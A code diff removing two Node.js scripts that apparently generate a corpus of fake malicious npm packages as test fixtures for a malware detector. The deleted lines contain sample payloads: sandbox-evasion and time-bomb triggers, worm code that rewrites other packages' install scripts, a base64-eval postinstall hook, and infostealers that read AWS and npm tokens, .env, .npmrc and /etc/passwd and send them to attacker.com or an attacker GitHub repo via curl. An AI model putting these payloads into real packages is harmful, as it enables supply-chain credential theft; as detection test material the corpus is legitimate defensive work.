|
13
|
-
{ name: 'mal-dormant-2', pkg: {}, js: 'if (new Date() > new Date("2026-06-01")) { require("./payload.js") }' },
|
|
14
|
-
{ name: 'mal-dormant-3', pkg: {}, js: 'if (process.env.CI) { process.exit(0) } else { /* malicious */ require("./exploit.js") }' },
|
|
15
|
-
{ name: 'mal-evasion-1', pkg: {}, js: 'if (os.hostname().includes("docker") || os.hostname().includes("sandbox")) { process.exit(0) }' },
|
|
16
|
-
{ name: 'mal-evasion-2', pkg: {}, js: 'if (process.argv.join(" ").includes("inspect")) { debugger; /* stop analysis */ }' },
|
|
17
|
-
{ name: 'mal-evasion-3', pkg: {}, js: 'try { throw new Error(); } catch(e) { if (e.stack.includes("sandbox")) { process.exit(0) } }' },
|
|
18
|
-
{ name: 'mal-prop-1', pkg: { name: '@evil/worm' }, js: 'execSync("npm install ./worm-pkg"); execSync("npm link")' },
|
|
19
|
-
{ name: 'mal-prop-2', pkg: {}, js: 'fs.writeFileSync("../lodash/node_modules/worm/index.js", "module.exports = { compromised: true }")' },
|
|
20
|
-
{ name: 'mal-prop-3', pkg: { name: 'worm-pkg' }, js: `const pj = require('../express/package.json'); pj.scripts.install = 'node worm.js'; fs.writeFileSync('../express/package.json', JSON.stringify(pj))` },
|
|
21
|
-
];
|
|
22
|
-
|
|
23
|
-
for (const mal of MALS) {
|
|
24
|
-
const dir = join(BASE, mal.name);
|
|
25
|
-
rmSync(dir, { recursive: true, force: true });
|
|
26
|
-
mkdirSync(dir, { recursive: true });
|
|
27
|
-
writeFileSync(join(dir, 'package.json'), JSON.stringify({ name: mal.name, version: '1.0.0', ...mal.pkg }));
|
|
28
|
-
if (mal.js) writeFileSync(join(dir, 'index.js'), mal.js);
|
|
29
|
-
execSync(`tar czf tests/corpus/malicious/${mal.name}.tgz -C ${BASE} ${mal.name}`);
|
|
30
|
-
console.log(`OK ${mal.name}`);
|
|
31
|
-
}
|
|
32
|
-
|
|
33
|
-
console.log('All mal corpus entries generated.');
|
|
34
|
-
console.log('Total:', MALS.length);
|
|
35
|
-
console.log('New entries: tamper-1, tamper-2, dormant-1, dormant-2, dormant-3, evasion-1, evasion-2, evasion-3');
|
|
@@ -1,170 +0,0 @@
|
|
|
1
|
-
import { mkdtempSync, mkdirSync, writeFileSync, rmSync } from 'fs';
|
|
2
|
-
import { execSync } from 'child_process';
|
|
3
|
-
import { tmpdir } from 'os';
|
|
4
|
-
import { join } from 'path';
|
|
5
|
-
import { fileURLToPath } from 'url';
|
|
6
|
-
import { dirname } from 'path';
|
|
7
|
-
|
|
8
|
-
const __dirname = dirname(fileURLToPath(import.meta.url));
|
|
9
|
-
const CORPUS_DIR = join(__dirname, '..', 'tests', 'corpus', 'malicious');
|
|
10
|
-
|
|
11
|
-
const TOP_TYPOS = [
|
|
12
|
-
'reacct', 'expres', 'axiox', 'chlak', 'vuue', 'typescrip',
|
|
13
|
-
'momnet', 'uuuid', 'commnder', 'debuge', 'semverr', 'underscoree',
|
|
14
|
-
'requesst', 'asycn',
|
|
15
|
-
];
|
|
16
|
-
|
|
17
|
-
const BINARY_NAMES = ['bun', 'deno', 'go', 'rustc', 'python'];
|
|
18
|
-
|
|
19
|
-
function writeFile(filePath, content) {
|
|
20
|
-
writeFileSync(filePath, content, 'utf8');
|
|
21
|
-
}
|
|
22
|
-
|
|
23
|
-
function createElfBinary(size = 4096) {
|
|
24
|
-
const buf = Buffer.alloc(size, 0);
|
|
25
|
-
buf[0] = 0x7f;
|
|
26
|
-
buf[1] = 0x45;
|
|
27
|
-
buf[2] = 0x4c;
|
|
28
|
-
buf[3] = 0x46;
|
|
29
|
-
buf[4] = 2;
|
|
30
|
-
buf[5] = 1;
|
|
31
|
-
buf[6] = 1;
|
|
32
|
-
buf[7] = 0;
|
|
33
|
-
return buf;
|
|
34
|
-
}
|
|
35
|
-
|
|
36
|
-
function createPeBinary(size = 4096) {
|
|
37
|
-
const buf = Buffer.alloc(size, 0);
|
|
38
|
-
buf[0] = 0x4d;
|
|
39
|
-
buf[1] = 0x5a;
|
|
40
|
-
return buf;
|
|
41
|
-
}
|
|
42
|
-
|
|
43
|
-
function buildTarball(dir, tmpParent) {
|
|
44
|
-
const tgzPath = join(CORPUS_DIR, `${dir}.tgz`);
|
|
45
|
-
execSync(`tar czf "${tgzPath}" -C "${tmpParent}" "${dir}"`, { stdio: 'pipe', shell: 'powershell' });
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
function createCampaign1Package(n) {
|
|
49
|
-
const dir = `campaign-1-${String(n).padStart(3, '0')}`;
|
|
50
|
-
const pkgJson = {
|
|
51
|
-
name: `vulnerable-package-${n}`,
|
|
52
|
-
version: '99.0.0',
|
|
53
|
-
description: 'Campaign 1 test fixture',
|
|
54
|
-
repository: { url: 'https://github.enterprise.internal/org/repo' },
|
|
55
|
-
homepage: 'https://jira.internal/browse/PROJ-123',
|
|
56
|
-
bugs: { url: 'https://docs.internal/issues' },
|
|
57
|
-
scripts: {
|
|
58
|
-
postinstall: 'node -e "eval(Buffer.from(\'dmFyIHggPSAx\' ,\'base64\').toString())"',
|
|
59
|
-
},
|
|
60
|
-
};
|
|
61
|
-
|
|
62
|
-
const distIndexJs = `(function() {
|
|
63
|
-
const os = require('os');
|
|
64
|
-
const env = process.env;
|
|
65
|
-
const profile = {
|
|
66
|
-
hostname: os.hostname(),
|
|
67
|
-
platform: os.platform(),
|
|
68
|
-
arch: os.arch(),
|
|
69
|
-
env: { AWS_ACCESS_KEY_ID: env.AWS_ACCESS_KEY_ID }
|
|
70
|
-
};
|
|
71
|
-
console.log('[RECON]', JSON.stringify(profile));
|
|
72
|
-
})();`;
|
|
73
|
-
|
|
74
|
-
const tmpParent = mkdtempSync(join(tmpdir(), 'camp1-'));
|
|
75
|
-
const pkgDir = join(tmpParent, dir);
|
|
76
|
-
mkdirSync(join(pkgDir, 'dist'), { recursive: true });
|
|
77
|
-
writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
78
|
-
writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
|
|
79
|
-
|
|
80
|
-
buildTarball(dir, tmpParent);
|
|
81
|
-
rmSync(tmpParent, { recursive: true, force: true });
|
|
82
|
-
console.log(` Created ${dir}.tgz`);
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
function createCampaign2Package(n) {
|
|
86
|
-
const dir = `campaign-2-${String(n).padStart(3, '0')}`;
|
|
87
|
-
const typoName = TOP_TYPOS[(n - 1) % TOP_TYPOS.length];
|
|
88
|
-
const binName = BINARY_NAMES[(n - 1) % BINARY_NAMES.length];
|
|
89
|
-
|
|
90
|
-
const pkgJson = {
|
|
91
|
-
name: typoName,
|
|
92
|
-
version: '1.0.0',
|
|
93
|
-
description: 'Test fixture',
|
|
94
|
-
};
|
|
95
|
-
|
|
96
|
-
const distIndexJs = `const fs = require('fs');
|
|
97
|
-
const { execSync } = require('child_process');
|
|
98
|
-
const awsKey = process.env.AWS_ACCESS_KEY_ID;
|
|
99
|
-
const npmToken = process.env.NODE_AUTH_TOKEN;
|
|
100
|
-
const data = fs.readFileSync('/etc/passwd', 'utf8');
|
|
101
|
-
if (awsKey || npmToken) {
|
|
102
|
-
fetch('https://attacker.com/creds', {
|
|
103
|
-
method: 'POST',
|
|
104
|
-
body: JSON.stringify({ awsKey, npmToken, data })
|
|
105
|
-
});
|
|
106
|
-
}`;
|
|
107
|
-
|
|
108
|
-
const tmpParent = mkdtempSync(join(tmpdir(), 'camp2-'));
|
|
109
|
-
const pkgDir = join(tmpParent, dir);
|
|
110
|
-
mkdirSync(join(pkgDir, 'dist'), { recursive: true });
|
|
111
|
-
mkdirSync(join(pkgDir, 'bin'), { recursive: true });
|
|
112
|
-
writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
113
|
-
writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
|
|
114
|
-
|
|
115
|
-
writeFileSync(join(pkgDir, 'bin', binName), createElfBinary(32768));
|
|
116
|
-
writeFileSync(join(pkgDir, 'bin', `${binName}.exe`), createPeBinary(32768));
|
|
117
|
-
|
|
118
|
-
buildTarball(dir, tmpParent);
|
|
119
|
-
rmSync(tmpParent, { recursive: true, force: true });
|
|
120
|
-
console.log(` Created ${dir}.tgz (typo: ${typoName}, binary: ${binName})`);
|
|
121
|
-
}
|
|
122
|
-
|
|
123
|
-
function createCampaign3Package() {
|
|
124
|
-
const dir = 'campaign-3-infostealer';
|
|
125
|
-
|
|
126
|
-
const pkgJson = {
|
|
127
|
-
name: 'mouse5212-super-formatter',
|
|
128
|
-
version: '1.0.0',
|
|
129
|
-
description: 'Super formatter',
|
|
130
|
-
};
|
|
131
|
-
|
|
132
|
-
const distIndexJs = `const fs = require('fs');
|
|
133
|
-
const { execSync } = require('child_process');
|
|
134
|
-
const secretFiles = ['package.json', '.env', '.npmrc', '.aws/credentials'];
|
|
135
|
-
for (const file of secretFiles) {
|
|
136
|
-
try {
|
|
137
|
-
const content = fs.readFileSync(process.env.HOME + '/' + file, 'utf8');
|
|
138
|
-
const ghToken = 'ghp_stub1234567890abcdefghijklmnopqr';
|
|
139
|
-
const exfilUrl = 'https://api.github.com/repos/attacker/stolen-secrets/contents/data.json';
|
|
140
|
-
execSync('curl -X PUT "' + exfilUrl + '" -H "Authorization: token ' + ghToken + '" -d ' + JSON.stringify(content));
|
|
141
|
-
} catch (e) {
|
|
142
|
-
}
|
|
143
|
-
}`;
|
|
144
|
-
|
|
145
|
-
const tmpParent = mkdtempSync(join(tmpdir(), 'camp3-'));
|
|
146
|
-
const pkgDir = join(tmpParent, dir);
|
|
147
|
-
mkdirSync(join(pkgDir, 'dist'), { recursive: true });
|
|
148
|
-
writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
149
|
-
writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
|
|
150
|
-
|
|
151
|
-
buildTarball(dir, tmpParent);
|
|
152
|
-
rmSync(tmpParent, { recursive: true, force: true });
|
|
153
|
-
console.log(` Created ${dir}.tgz`);
|
|
154
|
-
}
|
|
155
|
-
|
|
156
|
-
// ─── Generate All Campaigns ─────────────────────────────────────────
|
|
157
|
-
console.log('Generating Campaign 1 (33 packages)...');
|
|
158
|
-
for (let i = 1; i <= 33; i++) {
|
|
159
|
-
createCampaign1Package(i);
|
|
160
|
-
}
|
|
161
|
-
|
|
162
|
-
console.log('Generating Campaign 2 (14 packages)...');
|
|
163
|
-
for (let i = 1; i <= 14; i++) {
|
|
164
|
-
createCampaign2Package(i);
|
|
165
|
-
}
|
|
166
|
-
|
|
167
|
-
console.log('Generating Campaign 3 (1 package)...');
|
|
168
|
-
createCampaign3Package();
|
|
169
|
-
|
|
170
|
-
console.log('\nAll 48 campaign tarballs generated successfully!');
|